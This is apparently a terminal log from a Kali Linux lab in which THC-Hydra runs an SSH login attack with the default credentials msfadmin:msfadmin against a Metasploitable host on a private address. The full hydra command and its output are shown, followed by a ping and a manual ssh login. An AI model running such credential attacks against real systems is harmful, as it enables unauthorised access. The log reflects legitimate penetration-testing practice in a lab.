root@kali:/opt/thc-hydra# uname -a
Linux kali 4.18.0-kali1-amd64 #1 SMP Debian 4.18.6-1kali1 (2018-09-10) x86_64 GNU/Linux
root@kali:/opt/thc-hydra# echo "attacking metasploitable ssh login with known username:password msfadmin:msfadmin"
attacking metasploitable ssh login with known username:password msfadmin:msfadmin
root@kali:/opt/thc-hydra# hydra -V -l msfadmin -p msfadmin 192.168.55.102 ssh
Hydra v8.7-dev (c) 2018 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2018-10-24 16:44:14
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.55.102:22/
[ATTEMPT] target 192.168.55.102 - login "msfadmin" - pass "msfadmin" - 1 of 1 [child 0] (0/0)
[REDO-ATTEMPT] target 192.168.55.102 - login "msfadmin" - pass "msfadmin" - 2 of 2 [child 0] (1/1)
[REDO-ATTEMPT] target 192.168.55.102 - login "msfadmin" - pass "msfadmin" - 3 of 3 [child 0] (2/2)
[REDO-ATTEMPT] target 192.168.55.102 - login "msfadmin" - pass "msfadmin" - 4 of 4 [child 0] (3/3)
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2018-10-24 16:44:20
root@kali:/opt/thc-hydra# ping 192.168.55.102
PING 192.168.55.102 (192.168.55.102) 56(84) bytes of data.
64 bytes from 192.168.55.102: icmp_seq=1 ttl=64 time=0.354 ms
^C
--- 192.168.55.102 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.354/0.354/0.354/0.000 ms
root@kali:/opt/thc-hydra# ssh msfadmin@192.168.55.102 hostname
msfadmin@192.168.55.102's password:
metasploitable